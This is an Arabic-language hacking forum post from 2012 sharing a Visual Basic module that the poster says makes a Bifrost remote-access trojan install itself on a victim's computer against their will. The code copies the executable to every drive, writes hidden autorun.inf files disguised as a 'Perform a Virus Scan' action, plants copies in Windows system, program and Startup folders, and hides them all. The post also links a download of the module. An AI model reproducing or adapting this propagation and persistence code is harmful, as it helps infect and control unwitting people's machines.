تثبيت الضحية تلقائي بدون رفع السيرفر ونشر

السلام عليكم ورحمة الله وبركاته بسم الله الرحمن الرحيم الأغلبية يعاني بعض الأحيان من رفع السيرفر ببرنامج البيفروست على مسار تثبيت الضحية الحمد لله تم حل المشكلة حتى لو لم

إضافة رد
 
LinkBack أدوات الموضوع انواع عرض الموضوع
  #1 (permalink)  
قديم 2012-07-17, 12:11 PM
الصورة الرمزية صوتك يناديني

 
تاريخ التسجيل: Dec 2011
المشاركات: 5,816
صوتك يناديني is on a distinguished road
افتراضي تثبيت الضحية تلقائي بدون رفع السيرفر ونشر


السلام عليكم ورحمة الله وبركاته

بسم الله الرحمن الرحيم

الأغلبية يعاني بعض الأحيان من رفع السيرفر ببرنامج البيفروست على مسار تثبيت الضحية

الحمد لله تم حل المشكلة حتى لو لم تستطع رفع سيرفرك الى جهاز الضحية

السيرفر اليوم سوف يكون ( عند فتحه راح ينتشر بكل مكان )

هذه المسارات تثبيت الضحايا وبعض الاحيان نعاني من رفع سيرفرنا على جهاز الضحية


ويندوز XP
ينتشر هنا
C:\Documents and Settings\All Users\Start Menu\Programs\Startup

ويندوز Vista
C:\Users\All Users\AppData\Roaming\Microsoft\Windows\tart Menu\Programs\Startup\

ويندوز 7

C:\programData\Microsoft\Windows\Start Menu\Programs\Startup\

الفكرة اني ضفت المسارات فقط لا غيرونجحت

راح يتثبت الضحية من اليوم ورايح غصبا عنه مو على كيفه

وجربتها ونفعت الحمد لله


الكود ينتشر بالــ

C:\WINDOWS\

C:\Program Files\

C:\WINDOWS\system32\

C:\WINDOWS\Temp\

C:\WINDOWS\Help\

C:\WINDOWS\system32\drivers\

C:\Program Files\WinRAR\

C:\Program Files\Messenger\

C:\Program Files\Internet Download Manager\

مسار تثبيت ويندوز اكس بي XP
C:\Documents and Settings\All Users\Start Menu\Programs\Startup\

مسار تثبيت ويندوز فيستا Vista
C:\Users\All Users\AppData\Roaming\Microsoft\Windows\tart Menu\Programs\Startup\

مسار تثبيت ويندوز سفن 7
C:\programData\Microsoft\Windows\Start Menu\Programs\Startup\

وينتشر ايضا بالاقراص

وينشأ مجلد AutoRun يجميع الأقراص

طبعا بعد اضافة الموديل

انتبه تفتح السيرفر بجهازك لآنه خطر جدا

الموديل هذا هو

كود:
Public Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Sub Spread()
On Error Resume Next
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "A:\ .exe"
Open "A:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "B:\ .exe"
Open "B:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\ .exe"
Open "C:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "D:\ .exe"
Open "D:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "E:\ .exe"
Open "E:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "F:\ .exe"
Open "F:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "G:\ .exe"
Open "G:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "H:\ .exe"
Open "H:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "I:\ .exe"
Open "i:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "J:\ .exe"
Open "J:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "K:\ .exe"
Open "K:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "L:\ .exe"
Open "L:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "M:\ .exe"
Open "M:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "N:\ .exe"
Open "N:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "O:\ .exe"
Open "O:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "P:\ .exe"
Open "P:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "R:\ .exe"
Open "R:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "Y:\ .exe"
Open "Y:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\WINDOWS\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\Program Files\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\WINDOWS\system32\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\WINDOWS\Temp\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\WINDOWS\Help\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\WINDOWS\system32\drivers\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\Program Files\WinRAR\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\Program Files\Messenger\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\Program Files\Internet Download Manager\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\.exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\Users\All Users\AppData\Roaming\Microsoft\Windows\tart Menu\Programs\Startup\.exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\programData\Microsoft\Windows\Start Menu\Programs\Startup\.exe"
SetFileAttributes "A:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "B:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "D:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "E:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "F:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "G:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "H:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "I:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "J:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "K:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "L:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "M:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "N:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "O:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "P:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "R:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "Y:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\system32\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\Temp\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\Help\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\system32\drivers\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\WinRAR\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\Messenger\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\Internet Download Manager\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "A:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "B:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "D:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "E:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "F:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "G:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "H:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "I:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "J:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "K:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "L:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "M:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "N:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "O:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "P:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "R:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "Y:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\system32\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\Temp\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\Help\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\system32\drivers\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\WinRAR\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\Messenger\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\Internet Download Manager\autorun.inf", FILE_ATTRIBUTE_HIDDEN

End Sub

إن كان هناك كلمات مشفرة تحميل الموديل من هنا

[DOWNLOAD]http://ge.tt/5MyvGbK/v/0?c[/DOWNLOAD]

*ملاحظة*
(آخواني الفكرة فكرتي واتمنى ذكر الحقوق عند النقل
)

تحياتي اخوكم

M3T4SPL0!T


__________________
قلبي " معك " لو شفت جسمي مع الناس...
ما غاب " طيفك "عن خيالي دقيقه ..
رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)

الكلمات الدليلية (Tags)
ونôٌ, السيرفر, الضحية, بدون, تلقائي, تثبيت, رفع



جديد مواضيع قسم حمايه الاجهزه
 
أدوات الموضوع
انواع عرض الموضوع

تثبيت الضحية تلقائي بدون رفع السيرفر ونشر


RSS RSS 2.0 XML MAP HTML


الساعة الآن 05:23 AM


Powered by vBulletin Copyright ©2000 - 2014

Security team


Search Engine Optimization by vBSEO 3.6.0